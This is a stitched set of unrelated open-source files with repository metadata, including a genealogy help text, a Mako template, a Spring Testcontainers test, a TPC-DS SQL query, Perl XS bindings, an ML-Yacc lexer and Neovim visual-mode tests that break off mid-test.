"^DIC",9999999.36,9999999.36,"%D",43,0)
"^DIC",9999999.36,9999999.36,"%D",44,0)
Locate one person along the top row, according to his relationship to the
"^DIC",9999999.36,9999999.36,"%D",45,0)
Original Ancestors (O). Locate the other person along the left hand
"^DIC",9999999.36,9999999.36,"%D",46,0)
column, according to his relationship to the same Original Ancestors and
"^DIC",9999999.36,9999999.36,"%D",47,0)
where the two lines cross indicates the relationship of the two people to
"^DIC",9999999.36,9999999.36,"%D",48,0)
each other. If needed, the pattern can easily be extended.
"^DIC",9999999.36,9999999.36,"%D",49,0)
"^DIC",9999999.36,9999999.36,"%D",50,0)
If you and I have the same Parents (P), then we are Siblings (S).
"^DIC",9999999.36,9999999.36,"%D",51,0)
"^DIC",9999999.36,9999999.36,"%D",52,0)
If my Grandparents (GP) are also your Grandparents (GP), then you and I
"^DIC",9999999.36,9999999.36,"%D",53,0)
are first cousins (1C).
"^DIC",9999999.36,9999999.36,"%D",54,0)
"^DIC",9999999.36,9999999.36,"%D",55,0)
My Great Grand Mother's brother is my Great Grand Uncle, so I'm his GGN,
"^DIC",9999999.36,9999999.36,"%D",56,0)
because our Original Ancestors are their Parents (P), and are also my
"^DIC",9999999.36,9999999.36,"%D",57,0)
Great Great Grand Parents (GGGP).
"^DIC",9999999.36,9999999.36,"%D",58,0)
"^DIC",9999999.36,9999999.36,"%D",59,0)
In reverse, if someone is your third cousin (3C), it means that you both
"^DIC",9999999.36,9999999.36,"%D",60,0)
share the same great-great-grandparents (3GP).
"^DIC",9999999.36,9999999.36,"%D",61,0)
"^DIC",9999999.36,9999999.36,"%D",62,0)
Be sure to use the nearest Original Ancestors that you share or you can
"^DIC",9999999.36,9999999.36,"%D",63,0)
come up with such ridiculous things as: Since my Grandparents are my son's
"^DIC",9999999.36,9999999.36,"%D",64,0)
Great-Grandparents, therefore my Son is my first cousin, once removed
"^DIC",9999999.36,9999999.36,"%D",65,0)
(1C1R). Whoa...!
"^DIC",9999999.36,9999999.36,"%D",66,0)
"^DIC",9999999.36,9999999.36,"%D",67,0)
"^DIC",9999999.36,9999999.36,"%D",68,0)
Kith and Kin
"^DIC",9999999.36,9999999.36,"%D",69,0)
"^DIC",9999999.36,9999999.36,"%D",70,0)
HALF -"Half" means you share only one parent. Example: half-brothers may
"^DIC",9999999.36,9999999.36,"%D",71,0)
have the same father but different mothers, etc.
"^DIC",9999999.36,9999999.36,"%D",72,0)
"^DIC",9999999.36,9999999.36,"%D",73,0)
STEP - Not blood kin, but a close legal relationship due to re-marriage of
"^DIC",9999999.36,9999999.36,"%D",74,0)
a parent, such as step-mother, step-brother, step-son, etc.
"^DIC",9999999.36,9999999.36,"%D",75,0)
"^DIC",9999999.36,9999999.36,"%D",76,0)
DOUBLE FIRST COUSINS - Are first cousins twice, once on their Father's
"^DIC",9999999.36,9999999.36,"%D",77,0)
side and once on their Mother's side, since their Father's sibling married
"^DIC",9999999.36,9999999.36,"%D",78,0)
their Mother's sibling.
"^DIC",9999999.36,9999999.36,"%D",79,0)
"^DIC",9999999.36,9999999.36,"%D",80,0)
IN-LAW - They are not really blood kin but are treated as such because
"^DIC",9999999.36,9999999.36,"%D",81,0)
they married blood kin. Example: Your Mother-in-law is not really your
"^DIC",9999999.36,9999999.36,"%D",82,0)
Mother but is treated as such because you married her daughter/son. Also
"^DIC",9999999.36,9999999.36,"%D",83,0)
your brother-in-law is your brother because your parents are also his
"^DIC",9999999.36,9999999.36,"%D",84,0)
parents "in-law" (Mother-in-law, Father-in-law).
"^DIC",9999999.36,9999999.36,"%D",85,0)
"^DIC",9999999.36,9999999.36,"%D",86,0)
KITH and KIN - "Kith" are friends and acquaintances whereas "Kin" are
"^DIC",9999999.36,9999999.36,"%D",87,0)
blood relatives or someone treated as such in-law.
"^DIC",9999999.36,9999999.36,"%D",88,0)
"^DIC",9999999.36,9999999.36,"%D",89,0)
DEGREES - It used to be that kinship was measured in degrees. Your
"^DIC",9999999.36,9999999.36,"%D",90,0)
siblings were first degree. First cousins were 2nd degree, second cousins
"^DIC",9999999.36,9999999.36,"%D",91,0)
were 3rd degree, and so on.
"^DIC",9999999.36,9999999.36,"%D",92,0)
"^DIC",9999999.36,9999999.36,"%D",93,0)
On the chart above, imagine a diagonal line, from "S" to "5C" dividing the
"^DIC",9999999.36,9999999.36,"%D",94,0)
chart in two halves. Those in the upper/right half are the same degree as
"^DIC",9999999.36,9999999.36,"%D",95,0)
the Cousin (C) below them. Those in the lower/left half are the same
"^DIC",9999999.36,9999999.36,"%D",96,0)
degree as the Cousin (C) to their right.
"^DIC",9999999.36,9999999.36,"%D",97,0)
"^DIC",9999999.36,9999999.36,"%D",98,0)
Example - A first cousin once removed (1C1R) can be found in each half.
"^DIC",9999999.36,9999999.36,"%D",99,0)
In the upper/right half, go DOWN to 2C. In the lower/left half, go ACROSS
"^DIC",9999999.36,9999999.36,"%D",100,0)
to the right. Again, you find 2C. It's the same thing.
"^DIC",9999999.36,9999999.36,"%D",101,0)
"^DIC",9999999.36,9999999.36,"%D",102,0)
So a first cousin once removed (1C1R) has the same relationship as a full
"^DIC",9999999.36,9999999.36,"%D",103,0)
second cousin (2C), or is in the 3rd degree of kinship.
"^DIC",9999999.36,9999999.36,"%D",104,0)
"^DIC",9999999.36,9999999.36,"%D",105,0)
Like playing with numbers? See how the numbers run in rows and in columns.
"^DIC",9999999.36,9999999.36,"%D",106,0)
Add the Cs and Rs and locate their sums. Notice what happens when they
"^DIC",9999999.36,9999999.36,"%D",107,0)
cross the diagonal. (If you don't like numbers, just ignore this.)
"^DIC",9999999.36,9999999.36,"%D",108,0)
"^DIC",9999999.36,9999999.36,"%D",109,0)
ANOTHER METHOD - The number of "G"s you share is the number of cousins you
"^DIC",9999999.36,9999999.36,"%D",110,0)
are. The difference in "G"s is the number "Removed". Example: Two people
"^DIC",9999999.36,9999999.36,"%D",111,0)
who have the same great-grand-parents (2G) are second cousins (2C). If
"^DIC",9999999.36,9999999.36,"%D",112,0)
the great-grand-parents (2G) of one person are the
"^DIC",9999999.36,9999999.36,"%D",113,0)
great-great-grand-parents (3G) of the other person, then those two people
"^DIC",9999999.36,9999999.36,"%D",114,0)
are second cousins, once removed (2C1R). They share 2G with a difference
"^DIC",9999999.36,9999999.36,"%D",115,0)
of 1G (3-2=1). Compare the chart.
"^DIC",9999999.36,"B","RELATIONSHIP",9999999.36)
**END**
**END**
| Genshi | 3 | mdgeek/VistA-FHIR-CWF | Scripts/Install/CWF/kid/14-bgofhx-1.0.kid | [
"Apache-2.0"
] |
## Licensed to Cloudera, Inc. under one
## or more contributor license agreements. See the NOTICE file
## distributed with this work for additional information
## regarding copyright ownership. Cloudera, Inc. licenses this file
## to you under the Apache License, Version 2.0 (the
## "License"); you may not use this file except in compliance
## with the License. You may obtain a copy of the License at
##
## http://www.apache.org/licenses/LICENSE-2.0
##
## Unless required by applicable law or agreed to in writing, software
## distributed under the License is distributed on an "AS IS" BASIS,
## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
## See the License for the specific language governing permissions and
## limitations under the License.
<%!
import sys
from django.http import HttpRequest
from desktop.lib.i18n import smart_unicode
from desktop.views import login_modal
if sys.version_info[0] > 2:
from django.utils.translation import gettext as _
else:
from django.utils.translation import ugettext as _
%>
<%namespace name="commonHeaderFooterComponents" file="/common_header_footer_components.mako" />
% if request is not None:
${ smart_unicode(login_modal(request).content) | n,unicode }
% endif
<iframe id="zoomDetectFrame" style="width: 250px; display: none" ></iframe>
${ commonHeaderFooterComponents.footer(messages) }
</body>
</html>
| Mako | 3 | yetsun/hue | desktop/core/src/desktop/templates/common_footer.mako | [
"Apache-2.0"
] |
package com.baeldung.dynamicproperties;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.ActiveProfiles;
import org.springframework.test.context.DynamicPropertyRegistry;
import org.springframework.test.context.DynamicPropertySource;
import org.testcontainers.containers.PostgreSQLContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import static org.assertj.core.api.Assertions.assertThat;
@SpringBootTest
@Testcontainers
@ActiveProfiles("pg")
public class ArticleLiveTest {
@Container
static PostgreSQLContainer<?> postgres = new PostgreSQLContainer<>("postgres:11")
.withDatabaseName("prop")
.withUsername("postgres")
.withPassword("pass")
.withExposedPorts(5432);
@Autowired
private ArticleRepository articleRepository;
@DynamicPropertySource
static void registerPgProperties(DynamicPropertyRegistry registry) {
registry.add("spring.datasource.url",
() -> String.format("jdbc:postgresql://localhost:%d/prop", postgres.getFirstMappedPort()));
registry.add("spring.datasource.username", () -> "postgres");
registry.add("spring.datasource.password", () -> "pass");
}
@Test
void givenAnArticle_whenPersisted_thenCanBeFoundInTheDb() {
Article article = new Article();
article.setTitle("A Guide to @DynamicPropertySource in Spring");
article.setContent("Today's applications...");
articleRepository.save(article);
Article persisted = articleRepository.findAll().get(0);
assertThat(persisted.getId()).isNotNull();
assertThat(persisted.getTitle()).isEqualTo("A Guide to @DynamicPropertySource in Spring");
assertThat(persisted.getContent()).isEqualTo("Today's applications...");
}
}
| Java | 4 | DBatOWL/tutorials | testing-modules/spring-testing-2/src/test/java/com/baeldung/dynamicproperties/ArticleLiveTest.java | [
"MIT"
] |
-- This is a new query in TPCDS v2.7
with results as (
select
i_category,
i_class,
i_brand,
i_product_name,
d_year,
d_qoy,
d_moy,
s_store_id,
sum(coalesce(ss_sales_price * ss_quantity, 0)) sumsales
from
store_sales, date_dim, store, item
where
ss_sold_date_sk=d_date_sk
and ss_item_sk=i_item_sk
and ss_store_sk = s_store_sk
and d_month_seq between 1212 and 1212 + 11
group by
i_category,
i_class,
i_brand,
i_product_name,
d_year,
d_qoy,
d_moy,
s_store_id),
results_rollup as (
select
i_category,
i_class,
i_brand,
i_product_name,
d_year,
d_qoy,
d_moy,
s_store_id,
sumsales
from
results
union all
select
i_category,
i_class,
i_brand,
i_product_name,
d_year,
d_qoy,
d_moy,
null s_store_id,
sum(sumsales) sumsales
from
results
group by
i_category,
i_class,
i_brand,
i_product_name,
d_year,
d_qoy,
d_moy
union all
select
i_category,
i_class,
i_brand,
i_product_name,
d_year,
d_qoy,
null d_moy,
null s_store_id,
sum(sumsales) sumsales
from
results
group by
i_category,
i_class,
i_brand,
i_product_name,
d_year,
d_qoy
union all
select
i_category,
i_class,
i_brand,
i_product_name,
d_year,
null d_qoy,
null d_moy,
null s_store_id,
sum(sumsales) sumsales
from
results
group by
i_category,
i_class,
i_brand,
i_product_name,
d_year
union all
select
i_category,
i_class,
i_brand,
i_product_name,
null d_year,
null d_qoy,
null d_moy,
null s_store_id,
sum(sumsales) sumsales
from
results
group by
i_category,
i_class,
i_brand,
i_product_name
union all
select
i_category,
i_class,
i_brand,
null i_product_name,
null d_year,
null d_qoy,
null d_moy,
null s_store_id,
sum(sumsales) sumsales
from
results
group by
i_category,
i_class,
i_brand
union all
select
i_category,
i_class,
null i_brand,
null i_product_name,
null d_year,
null d_qoy,
null d_moy,
null s_store_id,
sum(sumsales) sumsales
from
results
group by
i_category,
i_class
union all
select
i_category,
null i_class,
null i_brand,
null i_product_name,
null d_year,
null d_qoy,
null d_moy,
null s_store_id,
sum(sumsales) sumsales
from results
group by
i_category
union all
select
null i_category,
null i_class,
null i_brand,
null i_product_name,
null d_year,
null d_qoy,
null d_moy,
null s_store_id,
sum(sumsales) sumsales
from
results)
select
*
from (
select
i_category,
i_class,
i_brand,
i_product_name,
d_year,
d_qoy,
d_moy,
s_store_id,
sumsales,
rank() over (partition by i_category order by sumsales desc) rk
from results_rollup) dw2
where
rk <= 100
order by
i_category,
i_class,
i_brand,
i_product_name,
d_year,
d_qoy,
d_moy,
s_store_id,
sumsales,
rk
limit 100
| SQL | 3 | OlegPt/spark | sql/core/src/test/resources/tpcds-v2.7.0/q67a.sql | [
"Apache-2.0"
] |
MODULE = Agar::Editable PACKAGE = Agar::Editable PREFIX = AG_
PROTOTYPES: ENABLE
VERSIONCHECK: DISABLE
Agar::Editable
new(package, parent, ...)
const char * package
Agar::Widget parent
PREINIT:
Uint flags = 0, wflags = 0;
CODE:
if ((items == 3 && SvTYPE(SvRV(ST(2))) != SVt_PVHV) || items > 3) {
Perl_croak(aTHX_ "Usage: Agar::Editable->new(parent,[{opts}])");
}
if (items == 3) {
AP_MapHashToFlags(SvRV(ST(2)), apEditableFlagNames, &flags);
AP_MapHashToFlags(SvRV(ST(2)), apWidgetFlagNames, &wflags);
}
RETVAL = AG_EditableNew(parent, flags);
if (RETVAL) { AGWIDGET(RETVAL)->flags |= wflags; }
OUTPUT:
RETVAL
void
sizeHint(self, text)
Agar::Editable self
const char * text
CODE:
AG_EditableSizeHint(self, text);
void
sizeHintPixels(self, w, h)
Agar::Editable self
Uint w
Uint h
CODE:
AG_EditableSizeHintPixels(self, w, h);
void
sizeHintLines(self, numLines)
Agar::Editable self
Uint numLines
CODE:
AG_EditableSizeHintLines(self, numLines);
int
getCursorPos(self)
Agar::Editable self
CODE:
RETVAL = AG_EditableGetCursorPos(self);
OUTPUT:
RETVAL
void
setFlag(self, name)
Agar::Editable self
const char * name
CODE:
if (AP_SetNamedFlag(name, apEditableFlagNames, &(self->flags))) {
AP_SetNamedFlag(name, apWidgetFlagNames, &(AGWIDGET(self)->flags));
}
void
unsetFlag(self, name)
Agar::Editable self
const char * name
CODE:
if (AP_UnsetNamedFlag(name, apEditableFlagNames, &(self->flags))) {
AP_UnsetNamedFlag(name, apWidgetFlagNames, &(AGWIDGET(self)->flags));
}
Uint
getFlag(self, name)
Agar::Editable self
const char * name
CODE:
if (AP_GetNamedFlag(name, apEditableFlagNames, self->flags, &RETVAL)) {
if (AP_GetNamedFlag(name, apWidgetFlagNames, AGWIDGET(self)->flags,
&RETVAL)) { XSRETURN_UNDEF; }
}
OUTPUT:
RETVAL
| XS | 3 | auzkok/libagar | p5-Agar/Agar/Editable.xs | [
"BSD-2-Clause"
] |
[Desktop Entry]
Version=1.0
Type=Application
Name=musikcube
GenericName=musikcube
Comment=terminal-based music player
Comment[ru]=консольный аудиоплеер
Exec=musikcube %U
TryExec=musikcube
Icon=musikcube
Terminal=true
Categories=AudioVideo;Player;Audio;
StartupNotify=false
StartupWMClass=musikcube
| desktop | 3 | trofi/musikcube | src/musikcube/data/linux/share/applications/musikcube.desktop | [
"BSD-3-Clause"
] |
Note 0
Copyright (C) 2017 Jonathan Hough. All rights reserved.
)
NB. Implementation of a Dropout Layer. Dropout Layer can
NB. be placed after other layers to allow backpropagation
NB. updates to only a random percentage fo the number of
NB. nodes in the previous layer, as a form of regularization.
coclass 'Dropout'
coinsert 'NNLayer'
create=: 3 : 0
if. a: -: y do.
''
else.
prob=: y
'Invalid probability set.' assert (prob >: 0) *. prob<:1
end.
type=: 'Dropout'
)
preRun=: 3 : 0
'Dropout layer has invalid probability set.' assert (prob >: 0) *. prob<:1
try.
forward y
catch.
smoutput 'Error in prerun of Dropout layer.'
end.
)
onBeginFit=: 3 : 0
''
)
onBeginPredict=: 3 : 0
''
)
forward=: 3 : 'forwardPassFit y'
forwardPassFit=: 3 : 0
shape=: $ y
drop=: ( <.@:((1-prob)&*) ? ])#,y
dropnet=: (shape) $ 0 drop}, (#,y) # 1
t=: dropnet * y
)
forwardPassPredict=: 3 : 0
t=: prob * y
)
backward=: 3 : 0
dt=. dropnet * y
)
onBeginFit=: 3 : 0
forward=: 3 : 'forwardPassFit y'
''
)
NB. Needs to be called before each predict run.
onBeginPredict=: 3 : 0
forward=: 3 : 'forwardPassPredict y'
''
)
destroy=: codestroy
| J | 4 | jonghough/jlearn | adv/dropout.ijs | [
"MIT"
] |
stroke 1
rotate 90
move 1,0,0
push
i: (TIME % 1000) / 1000
move 0,0,i*10
color hsv(155, 200, 200)
scale 10
for y: 0 to 3 step 1
move 0,0,y*-1
grid
end
pop
| Cycript | 3 | marcinbiegun/creativecoding-sketches | Cyril/data/code_old/2.cy | [
"MIT"
] |
(* Modified by Vesa Karvonen on 2007-12-18.
* Create line directives in output.
*)
(* ML-Yacc Parser Generator (c) 1989 Andrew W. Appel, David R. Tarditi
yacc.lex: Lexer specification
*)
structure Tokens = Tokens
type svalue = Tokens.svalue
type pos = Header.pos
type ('a,'b) token = ('a,'b) Tokens.token
type lexresult = (svalue,pos) token
type lexarg = Hdr.inputSource
type arg = lexarg
open Tokens
val error = Hdr.error
val text = Hdr.text
val pcount = ref 0
val commentLevel = ref 0
val actionstart = ref {line = 1, col = 0}
fun linePos () = {line = !(#line Hdr.pos), col = 0}
fun pos pos = {line = !(#line Hdr.pos), col = pos - !(#start Hdr.pos)}
val eof = fn i => (if (!pcount)>0 then
error i (!actionstart)
" eof encountered in action beginning here !"
else (); EOF(linePos (), linePos ()))
val Add = fn s => (text := s::(!text))
local val dict = [("%prec",PREC_TAG),("%term",TERM),
("%nonterm",NONTERM), ("%eop",PERCENT_EOP),("%start",START),
("%prefer",PREFER),("%subst",SUBST),("%change",CHANGE),
("%keyword",KEYWORD),("%name",NAME),
("%verbose",VERBOSE), ("%nodefault",NODEFAULT),
("%value",VALUE), ("%noshift",NOSHIFT),
("%header",PERCENT_HEADER),("%pure",PERCENT_PURE),
("%token_sig_info",PERCENT_TOKEN_SIG_INFO),
("%arg",PERCENT_ARG),
("%pos",PERCENT_POS)]
in
fun lookup (s,left,right) = let
fun f ((a,d)::b) = if a=s then d(left,right) else f b
| f nil = UNKNOWN(s,left,right)
in
f dict
end
end
fun inc (ri as ref i) = (ri := i+1)
fun dec (ri as ref i) = (ri := i-1)
fun incLineNum pos = (inc (#line Hdr.pos) ; #start Hdr.pos := pos)
%%
%header (
functor LexMLYACC(structure Tokens : Mlyacc_TOKENS
structure Hdr : HEADER (* = Header *)
where type prec = Header.prec
and type inputSource = Header.inputSource) : ARG_LEXER
);
%arg (inputSource);
%s A CODE F COMMENT STRING EMPTYCOMMENT;
ws = [\t\ ]+;
eol=("\n"|"\013\n"|"\013");
idchars = [A-Za-z_'0-9];
id=[A-Za-z]{idchars}*;
tyvar="'"{idchars}*;
qualid ={id}".";
%%
<INITIAL>"(*" => (Add yytext; YYBEGIN COMMENT; commentLevel := 1;
continue(); YYBEGIN INITIAL; continue());
<A>"(*" => (YYBEGIN EMPTYCOMMENT; commentLevel := 1; continue());
<CODE>"(*" => (Add yytext; YYBEGIN COMMENT; commentLevel := 1;
continue(); YYBEGIN CODE; continue());
<INITIAL>[^(%\013\n]+ => (Add yytext; continue());
<INITIAL>"%%" => (YYBEGIN A; HEADER (concat (rev (!text)),pos yypos,pos yypos));
<INITIAL,CODE,COMMENT,F,EMPTYCOMMENT>{eol} => (Add yytext; incLineNum yypos; continue());
<INITIAL>. => (Add yytext; continue());
<A>{eol} => (incLineNum yypos; continue ());
<A>{ws}+ => (continue());
<A>of => (OF(pos yypos,pos yypos));
<A>for => (FOR(pos yypos,pos yypos));
<A>"{" => (LBRACE(pos yypos,pos yypos));
<A>"}" => (RBRACE(pos yypos,pos yypos));
<A>"," => (COMMA(pos yypos,pos yypos));
<A>"*" => (ASTERISK(pos yypos,pos yypos));
<A>"->" => (ARROW(pos yypos,pos yypos));
<A>"%left" => (PREC(Hdr.LEFT,pos yypos,pos yypos));
<A>"%right" => (PREC(Hdr.RIGHT,pos yypos,pos yypos));
<A>"%nonassoc" => (PREC(Hdr.NONASSOC,pos yypos,pos yypos));
<A>"%"[a-z_]+ => (lookup(yytext,pos yypos,pos yypos));
<A>{tyvar} => (TYVAR(yytext,pos yypos,pos yypos));
<A>{qualid} => (IDDOT(yytext,pos yypos,pos yypos));
<A>[0-9]+ => (INT (yytext,pos yypos,pos yypos));
<A>"%%" => (DELIMITER(pos yypos,pos yypos));
<A>":" => (COLON(pos yypos,pos yypos));
<A>"|" => (BAR(pos yypos,pos yypos));
<A>{id} => (ID ((yytext,pos yypos),pos yypos,pos yypos));
<A>"(" => (pcount := 1; actionstart := pos yypos;
text := nil; YYBEGIN CODE; continue() before YYBEGIN A);
<A>. => (UNKNOWN(yytext,pos yypos,pos yypos));
<CODE>"(" => (inc pcount; Add yytext; continue());
<CODE>")" => (dec pcount;
if !pcount = 0 then
PROG (concat (rev (!text)),!actionstart,pos yypos)
else (Add yytext; continue()));
<CODE>"\"" => (Add yytext; YYBEGIN STRING; continue());
<CODE>[^()"\n\013]+ => (Add yytext; continue());
<COMMENT>[(*)] => (Add yytext; continue());
<COMMENT>"*)" => (Add yytext; dec commentLevel;
if !commentLevel=0
then BOGUS_VALUE(pos yypos,pos yypos)
else continue()
);
<COMMENT>"(*" => (Add yytext; inc commentLevel; continue());
<COMMENT>[^*()\n\013]+ => (Add yytext; continue());
<EMPTYCOMMENT>[(*)] => (continue());
<EMPTYCOMMENT>"*)" => (dec commentLevel;
if !commentLevel=0 then YYBEGIN A else ();
continue ());
<EMPTYCOMMENT>"(*" => (inc commentLevel; continue());
<EMPTYCOMMENT>[^*()\n\013]+ => (continue());
<STRING>"\"" => (Add yytext; YYBEGIN CODE; continue());
<STRING>\\ => (Add yytext; continue());
<STRING>{eol} => (Add yytext; error inputSource (pos yypos) "unclosed string";
incLineNum yypos; YYBEGIN CODE; continue());
<STRING>[^"\\\n\013]+ => (Add yytext; continue());
<STRING>\\\" => (Add yytext; continue());
<STRING>\\{eol} => (Add yytext; incLineNum yypos; YYBEGIN F; continue());
<STRING>\\[\ \t] => (Add yytext; YYBEGIN F; continue());
<F>{ws} => (Add yytext; continue());
<F>\\ => (Add yytext; YYBEGIN STRING; continue());
<F>. => (Add yytext; error inputSource (pos yypos) "unclosed string";
YYBEGIN CODE; continue());
| Lex | 4 | lazear/mlton | mlyacc/src/yacc.lex | [
"HPND"
] |
@import './_variables.scss'
.v-date-picker-title
display: flex
justify-content: space-between
flex-direction: column
flex-wrap: wrap
line-height: 1
.v-picker__title__btn
+ltr()
text-align: left
+rtl()
text-align: right
&__year
align-items: center
display: inline-flex
font-size: $date-picker-title-year-font-size
font-weight: $date-picker-title-year-font-weight
margin-bottom: $date-picker-title-year-bottom-margin
&__date
font-size: $date-picker-title-date-font-size
text-align: left
font-weight: $date-picker-title-date-font-weight
position: relative
overflow: hidden
padding-bottom: 8px
margin-bottom: -8px
> div
position: relative
&--disabled
pointer-events: none
| Sass | 3 | ahmadiqbal1/vuetify | packages/vuetify/src/components/VDatePicker/VDatePickerTitle.sass | [
"MIT"
] |
const execa = require(`execa`)
const defaultSpawnArgs = {
cwd: process.cwd(),
stdio: `inherit`,
}
exports.setDefaultSpawnStdio = stdio => {
defaultSpawnArgs.stdio = stdio
}
exports.promisifiedSpawn = async ([cmd, args = [], spawnArgs = {}]) => {
const spawnOptions = {
...defaultSpawnArgs,
...spawnArgs,
}
try {
return await execa(cmd, args, spawnOptions)
} catch (e) {
if (spawnOptions.stdio === `ignore`) {
console.log(
`\nCommand "${cmd} ${args.join(
` `
)}" failed.\nTo see details of failed command, rerun "gatsby-dev" without "--quiet" or "-q" switch\n`
)
}
throw e
}
}
| JavaScript | 4 | Pabelnedved/ghostlocoko | packages/gatsby-dev-cli/src/utils/promisified-spawn.js | [
"MIT"
] |
%span.gl-flex-grow-1.gl-py-3.gl-pr-3
= yield
| Haml | 0 | glimmerhq/glimmerhq | app/views/shared/members/tab_pane/_title.html.haml | [
"MIT"
] |
use @pony_exitcode[None](code: I32)
class C1 fun one(): I32 => 1
class C2 fun two(): I32 => 2
class C3 fun three(): I32 => 3
primitive Foo
fun apply(c': (C1 | C2 | C3)): I32 =>
match c'
| let c: C1 => c.one()
| let c: C2 => c.two()
| let c: C3 => c.three()
end
actor Main
new create(env: Env) =>
@pony_exitcode(Foo(C3))
| Pony | 3 | rtpax/ponyc | test/libponyc-run/match-exhaustive-all-cases-of-union/main.pony | [
"BSD-2-Clause"
] |
-- Test for Visual mode and operators.
--
-- Tests for the two kinds of operations: Those executed with Visual mode
-- followed by an operator and those executed via Operator-pending mode. Also
-- part of the test are mappings, counts, and repetition with the . command.
local helpers = require('test.functional.helpers')(after_each)
local feed, insert, source = helpers.feed, helpers.insert, helpers.source
local clear, feed_command, expect = helpers.clear, helpers.feed_command, helpers.expect
-- Vim script user functions needed for some of the test cases.
local function source_user_functions()
source([[
function MoveToCap()
call search('\u', 'W')
endfunction
function SelectInCaps()
let [line1, col1] = searchpos('\u', 'bcnW')
let [line2, col2] = searchpos('.\u', 'nW')
call setpos("'<", [0, line1, col1, 0])
call setpos("'>", [0, line2, col2, 0])
normal! gv
endfunction
]])
end
local function put_abc()
source([[
$put ='a'
$put ='b'
$put ='c']])
end
local function put_aaabbbccc()
source([[
$put ='aaa'
$put ='bbb'
$put ='ccc']])
end
local function define_select_mode_maps()
source([[
snoremap <lt>End> <End>
snoremap <lt>Down> <Down>
snoremap <lt>Del> <Del>]])
end
describe('Visual mode and operator', function()
before_each(function()
clear()
source_user_functions()
end)
it('simple change in Visual mode', function()
insert([[
apple banana cherry
line 1 line 1
line 2 line 2
line 3 line 3
line 4 line 4
line 5 line 5
line 6 line 6
xxxxxxxxxxxxx
xxxxxxxxxxxxx
xxxxxxxxxxxxx
xxxxxxxxxxxxx]])
-- Exercise characterwise Visual mode plus operator, with count and repeat.
feed_command('/^apple')
feed('lvld.l3vd.')
-- Same in linewise Visual mode.
feed_command('/^line 1')
feed('Vcnewline<esc>j.j2Vd.')
-- Same in blockwise Visual mode.
feed_command('/^xxxx')
feed('<c-v>jlc <esc>l.l2<c-v>c----<esc>l.')
-- Assert buffer contents.
expect([[
a y
newline
newline
--------x
--------x
xxxx--------x
xxxx--------x]])
end)
it('Visual mode mapping', function()
insert([[
KiwiRaspberryDateWatermelonPeach
JambuRambutanBananaTangerineMango]])
-- Set up Visual mode mappings.
feed_command('vnoremap W /\\u/s-1<CR>')
feed_command('vnoremap iW :<C-U>call SelectInCaps()<CR>')
-- Do a simple change using the simple vmap, also with count and repeat.
feed_command('/^Kiwi')
feed('vWcNo<esc>l.fD2vd.')
-- Same, using the vmap that maps to an Ex command.
feed_command('/^Jambu')
feed('llviWc-<esc>l.l2vdl.')
-- Assert buffer contents.
expect([[
NoNoberryach
--ago]])
end)
it('Operator-pending mode mapping', function()
insert([[
PineappleQuinceLoganberryOrangeGrapefruitKiwiZ
JuniperDurianZ
LemonNectarineZ]])
-- Set up Operator-pending mode mappings.
feed_command('onoremap W /\\u/<CR>')
feed_command('onoremap <Leader>W :<C-U>call MoveToCap()<CR>')
feed_command('onoremap iW :<C-U>call SelectInCaps()<CR>')
-- Do a simple change using the simple omap, also with count and repeat.
feed_command('/^Pineapple')
feed('cW-<esc>l.l2.l.')
-- Same, using the omap that maps to an Ex command to move the cursor.
feed_command('/^Juniper')
feed('g?\\WfD.')
-- Same, using the omap that uses Ex and Visual mode (custom text object).
feed_command('/^Lemon')
feed('yiWPlciWNew<esc>fr.')
-- Assert buffer contents.
expect([[
----Z
WhavcreQhevnaZ
LemonNewNewZ]])
end)
-- Vim patch 7.3.879 addressed a bug where typing ":" (the start of an Ex
-- command) in Operator-pending mode couldn't be aborted with Escape, the
-- change operation implied by the operator was always executed.
it('patch 7.3.879', function()
insert([[
zzzz
zzzz]])
-- Start a change operation consisting of operator plus Ex command, like
-- "dV:..." etc., then either
-- - complete the operation by pressing Enter: as a result the buffer is
-- changed, taking into account the v/V/<c-v> modifier given; or
-- - abort the operation by pressing Escape: no change to the buffer is
-- carried out.
feed_command('/^zzzz')
feed([[dV:<cr>dv:<cr>:set noma | let v:errmsg = ''<cr>]])
feed([[d:<cr>:set ma | put = v:errmsg =~# '^E21' ? 'ok' : 'failed'<cr>]])
feed([[dv:<esc>dV:<esc>:set noma | let v:errmsg = ''<cr>]])
feed([[d:<esc>:set ma | put = v:errmsg =~# '^E21' ? 'failed' : 'ok'<cr>]])
-- Assert buffer contents.
expect([[
zzz
ok
ok]])
end)
describe('characterwise visual mode:', function()
it('replace last line', function()
source([[
$put ='a'
let @" = 'x']])
feed('v$p')
expect([[
x]])
end)
it('delete middle line', function()
put_abc()
feed('kkv$d')
expect([[
b
c]])
end)
it('delete middle two line', function()
put_abc()
feed('kkvj$d')
expect([[
c]])
end)
it('delete last line', function()
put_abc()
feed('v$d')
expect([[
a
b
]])
end)
it('delete last two line', function()
put_abc()
feed('kvj$d')
expect([[
a
]])
end)
end)
describe('characterwise select mode:', function()
before_each(function()
define_select_mode_maps()
end)
it('delete middle line', function()
put_abc()
feed('kkgh<End><Del>')
expect([[
b
c]])
end)
it('delete middle two line', function()
put_abc()
feed('kkgh<Down><End><Del>')
expect([[
c]])
end)
it('delete last line', function()
put_abc()
feed('gh<End><Del>')
expect([[
a
b
]])
end)
it('delete last two line', function()
put_abc()
feed('kgh<Down><End><Del>')
expect([[
a
]])
end)
end)
describe('linewise select mode:', function()
before_each(function()
define_select_mode_maps()
end)
it('delete middle line', function()
put_abc()
feed(' kkgH<Del> ')
expect([[
b
c]])
end)
it('delete middle two line', function()
put_abc()
feed('kkgH<Down><Del>')
expect([[
c]])
end)
it('delete last line', function()
put_abc()
feed('gH<Del>')
expect([[
a
b]])
end)
it('delete last two line', function()
put_abc()
feed('kgH<Down><Del>')
expect([[
a]])
end)
end)
describe('v_p:', function()
it('replace last character with line register at middle line', function()
put_aaabbbccc()
feed_command('-2yank')
feed('k$vp')
expect([[
aaa
bb
aaa
ccc]])
end)
it('replace last character with line register at middle line selecting newline', function()
put_aaabbbccc()
feed_command('-2yank')
feed('k$v$p')
expect([[
aaa
bb
aaa
ccc]])
end)
it('replace last character with line register at last line', function()
put_aaabbbccc()
feed_command('-2yank')
feed('$vp')
expect([[
aaa
bbb
cc
aaa
]])
end)
it('replace last character with line register at last line selecting newline', function()
put_aaabbbccc()
feed_command('-2yank')
